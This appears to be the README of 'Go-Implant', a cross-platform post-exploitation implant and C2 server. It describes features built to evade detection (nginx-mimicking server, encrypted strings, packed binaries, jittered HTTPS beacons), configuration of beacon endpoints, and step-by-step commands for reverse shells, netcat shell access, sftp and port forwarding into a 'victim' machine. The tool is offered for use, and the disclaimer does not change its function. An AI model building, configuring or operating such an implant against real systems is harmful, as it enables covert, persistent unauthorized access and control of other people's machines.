Go-Implant is a cross-platform post-exploitation agent written in Go. It consists of a server and a client (or agent). The agent beacons to the server periodically using http POST requests. As a reply to the beacon, the server returns list of commands to execute on the client. Built-in commands include port forwards, reverse shell and configuration changes.
To make detection and forensics harder:
- All communications in Go-Implant are encrypted and look 'normal' in traffic analysis. Beacons by default use HTTPS, while reverse shells and port forwards use SSH tunnels.
- The http server looks like a default installation of nginx to others than the agent.
- All sensitive strings inside the agent binary, such as configuration, are AES encrypted using random key.
- Agent configuration is flexible, user can choose for example beacon interval, user agent of beacons and beacon endpoints.
Go-Implant is not a tool for committing crime. There is no functionality for criminal activities inbuilt to it, nor will it be added. This means for example that there is no persistence or modules for stealing credentials from systems. The Author is not responsible of anything you use go-implant for.
Because no long-deployable, cross-platform, flexible reverse shell with only basic functionality and standard protocols was found. Go-Implant is an attempt to create one.
- Encrypted communications
- Reverse shell access
- upload / download files
- Reverse port forwarding
apt install -y git make upx strip
git clone <repo name>
cd <repo name>
make deps
Both client and server of Go-Implant are standalone executables that need to be compiled. Server has only been tested to compile and work on linux. Client has been tested to compile on Linux, and work on Linux and Windows.
- Compile the server:
make prod
- Set configuration in /client/config/parameters.go
- Remove //build +ignore tag from client/config/parameters.go
- Run
go generate
in /client/config directory - Add //build +ignore tag back to client/config/parameters.go
- Compile the client for all platforms (in cmd/client):
make prod
The makefile compiles the client for all platforms, strips symbols from the executables and finally packs them using upx. As of writing mac executables are not stripped. NOTE: makefile assumes commands upx and strip are available
Should anything not work as expected, debugging builds are available of both server and client. These build include debugging symbols, a ton of printouts to tracks the activities of the program and omit compressing the resulting binaries. Debugging builds are trivial to reverse-engineer and therefore should not be used in production.
To compile debugging build, use command:
make debug
for both client and the server.
The following parameters are freely configurable by the user in /client/config/parameters.go:
Sleeptime (int) - the time slept between beacons in seconds
Jitter (int) - random extra delay to be added to the sleeptime
Retries (int) - amount of tries to take in case C2 is unreachable
UserAgent (string) - the user agent that gets sent on beacons
CCHost (string) - the base server url
Endpoints (string[]) - the endpoints in the server to which beacon. They are chosen randomly
You should get a SSL certificate and corresponding private key from Lets encrypt for best results. The agent will not trust self-signed certificates unless the root certificate has been installed first.
Usage of ./server:
-cert string
file with https cert (default "server.crt")
-forwarded-timeout duration
forwarded-tcpip timeout (default 3h0m0s)
-handlerport int
port of HTTP* listener (default 443)
-http
use HTTP instead of HTTPS
-main-timeout duration
Client socket timeout (default 3h0m0s)
-privkey string
file with private key for cert (default "server.key")
-sshport int
port of SSH listener (default 22)
./server -handlerport 8080 -sshport 2222
./server -cert othercert.crt -privkey otherkey.key
./server -forwarded-timeout 0h10m0s
Reverse shell access works as follows: The client starts a sshd listening on localhost and then initializes a reverse port forward to the server. The sshd on the client can then be accessed from the server using the forwarded port. There are commands quickssh and serveSSH on the server that start the reverse shell. quickssh uses the inbuilt sshd on the Go-Implant server to catch the port forward, serveSSH enables the usage any normal sshd for the purpose.
NOTE: in order for the client to be able to forward port to the host, it needs to have valid SSH credentials. One must make sure that the credentials cannot be used to obtain a shell to the server when using normal sshd. In the inbuilt SSH, only reverse port forwards are allowed by clients.
Filesystem access is done using sftp.
After forwarding port from the client to server, just SSH in using the generated credentials.
ssh <username>@localhost -p <port>
After forwarding port from the client to server, forward another port from the client machine using the client's sshd to localhost, then connect to the forwarded port using netcat
ssh -N -L <localport>:0.0.0.0:<destport> localhost -p <port>
nc localhost <localport>
NOTE: right now destport is not used! The remote host 0.0.0.0 is a magic string that tells the agent to serve a cmd shell to the client.
After forwarding port from the client to server, you can access the filesystem using sftp.
sftp -P <port> <username>@localhost`
Local ssh listener in the server allows at most 5 reverse port forwards from the victim.
On windows, ports can be forwarded but no shell can be launched at the same time, therefore flag -N must be used. Omitting the flag causes the client to serve sftp instead
ssh -N -L <localport>:<desthost>:<destport> localhost -p <port>
On linux, ports can be forwarded similarly with the familiar sshd
ssh [-N] -L <localport>:<desthost>:<destport> localhost -p <port>
- add x11 forwarding to unix ssh handler
- encrypt protocol strings
Contributions are more than welcome! Please submit your well tested code as a pull request. Writing documentation is also encouraged.